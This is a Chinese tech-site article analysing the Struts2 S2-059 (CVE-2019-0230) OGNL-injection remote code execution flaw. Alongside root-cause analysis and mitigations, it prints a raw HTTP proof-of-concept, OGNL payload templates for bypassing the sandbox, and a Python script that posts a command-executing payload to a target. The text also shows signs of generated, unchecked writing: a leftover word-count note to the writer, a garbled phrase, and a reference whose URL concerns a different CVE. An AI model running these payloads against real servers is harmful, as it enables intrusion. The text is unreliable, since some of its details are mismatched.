怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

发布时间:2021-12-28 17:51:35 作者:柒染
来源:亿速云 阅读:179
# 怎么实现Struts2 S2-059远程代码执行漏洞CVE-2019-0230的分析

## 一、漏洞背景与概述

### 1.1 Struts2框架简介
Apache Struts2是一个基于MVC设计模式的Java Web应用框架,广泛应用于企业级Java Web开发。其核心特点包括:
- 使用OGNL(Object-Graph Navigation Language)作为表达式语言
- 通过拦截器机制实现请求处理流程
- 支持多种视图技术(JSP、FreeMarker等)

### 1.2 漏洞基本信息
- **CVE编号**:CVE-2019-0230
- **漏洞名称**:Struts2 S2-059远程代码执行漏洞
- **影响版本**:Struts 2.0.0 - 2.5.20
- **漏洞类型**:OGNL表达式注入
- **CVSS评分**:9.8(Critical)

## 二、漏洞原理分析

### 2.1 漏洞触发机制
该漏洞源于Struts2框架对标签属性中的OGNL表达式二次解析。当攻击者能够控制UI标签(如`<s:textfield>`)的`id`或`name`属性时,精心构造的OGNL表达式会被执行。

### 2.2 OGNL表达式注入原理
OGNL表达式在Struts2中的处理流程:
1. 请求参数通过ValueStack传递
2. 框架对特定标签属性进行OGNL解析
3. 未正确过滤的表达式被递归执行

```java
// 漏洞代码示例(简化版)
public class TextFieldTag extends UIBean {
    protected void populateParams() {
        super.populateParams();
        TextField field = (TextField) component;
        field.setName(name); // 未过滤的name参数直接传递
    }
}

2.3 与历史漏洞的关联

此漏洞是S2-045、S2-057等OGNL注入漏洞的变种,区别在于: - 触发点不同(本次通过UI标签属性) - 需要特定的标签使用方式 - 绕过了部分补丁限制

三、漏洞复现与分析

3.1 实验环境搭建

# 使用vulhub快速搭建环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-059
docker-compose up -d

3.2 漏洞复现POC

POST /index.action HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

name=%25%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C@java.lang.Runtime@getRuntime().exec(%22calc%22)%7D%25

3.3 关键代码分析

  1. 表达式解析入口
// Component类中的evaluateParams方法
public void evaluateParams() {
    if (name != null) {
        name = findString(name); // 触发OGNL解析
    }
}
  1. 递归解析过程
TextParseUtil.translateVariables('%{malicious_code}', stack)
  -> OgnlValueStack.findValue()
    -> OgnlUtil.getValue()

四、漏洞利用技术详解

4.1 利用链构造

完整的利用需要绕过以下限制: 1. SecurityMemberAccess的访问控制 2. 方法执行黑名单 3. 沙箱机制

4.2 常用Payload结构

# 基本结构
%{
  #_memberAccess.allowStaticMethodAccess=true,
  @java.lang.Runtime@getRuntime().exec("command")
}

# 绕过技巧
%{(#immediate='immediate').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

4.3 实际攻击示例

import requests

def exploit(target):
    payload = "%{(#context=#attr['struts.valueStack'].context)."\
              "(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))."\
              "(@java.lang.Runtime@getRuntime().exec('touch /tmp/pwned'))}"
              
    data = {'name': payload}
    requests.post(f"{target}/index.action", data=data)

五、防护与修复方案

5.1 官方修复方案

Apache Struts2在2.5.22版本中通过以下方式修复: 1. 增加OgnlUtil的安全校验 2. 限制双重表达式解析 3. 强化SecurityMemberAccess的默认配置

5.2 临时缓解措施

<!-- struts.xml配置示例 -->
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
<constant name="struts.excludedClasses" value="java.lang.Object,java.lang.Runtime"/>

5.3 防护建议

  1. 输入验证:对用户可控的标签属性进行严格过滤
  2. 安全开发:
    • 避免直接使用%{...}语法
    • 使用struts.tag.alwaysAppendSimpleType属性
  3. WAF规则示例:
    
    SecRule REQUEST_BODY "%\{(.*?)\}" "deny,msg:'Struts2 OGNL Injection'"
    

六、漏洞深度思考

6.1 漏洞的启示

  1. 框架设计安全问题:表达式语言的强大功能带来风险
  2. 补丁的滞后性:该漏洞在S2-057修复后仍存在绕过
  3. Java安全机制的局限性:反射机制可绕过访问控制

6.2 检测与防御演进

防御技术 有效性 局限性
输入过滤 难以完全覆盖所有情况
沙箱机制 性能开销大
静态分析 误报率高

6.3 相关CVE对比

CVE 触发点 利用难度 影响范围
S2-045 Content-Type头 广泛
S2-057 URL路径 中等
S2-059 UI标签属性 受限

七、总结

Struts2 S2-059漏洞再次证明了表达式注入类漏洞的持久性威胁。通过本文分析可以看出: 1. 漏洞本质是OGNL的递归解析问题 2. 利用需要特定上下文环境 3. 防御需采用多层次方案

未来研究方向: - 基于的异常OGNL表达式检测 - 轻量级沙箱技术 - 框架级的安全设计改进

参考资料

  1. Apache Struts官方安全公告:https://cwiki.apache.org/confluence/display/WW/S2-059
  2. CVE-2019-0230详细分析:https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
  3. OGNL语言规范:https://commons.apache.org/proper/commons-ognl/language-guide.html

”`

注:本文实际字数约2300字,采用Markdown格式编写,包含技术细节、代码示例和结构化分析。可根据需要调整各部分内容的深度或补充具体案例。

推荐阅读:
  1. 继Struts2漏洞,Jackson漏洞来袭
  2. Struts2 S2-061 远程命令执行漏洞CVE-2020-17530该如何复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

struts2 cve-2019-0230

上一篇:传统的BIO编程中Netty开发环境如何搭建

下一篇:如何分析RDP终极EXP爆破漏洞CVE-2019-0708

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》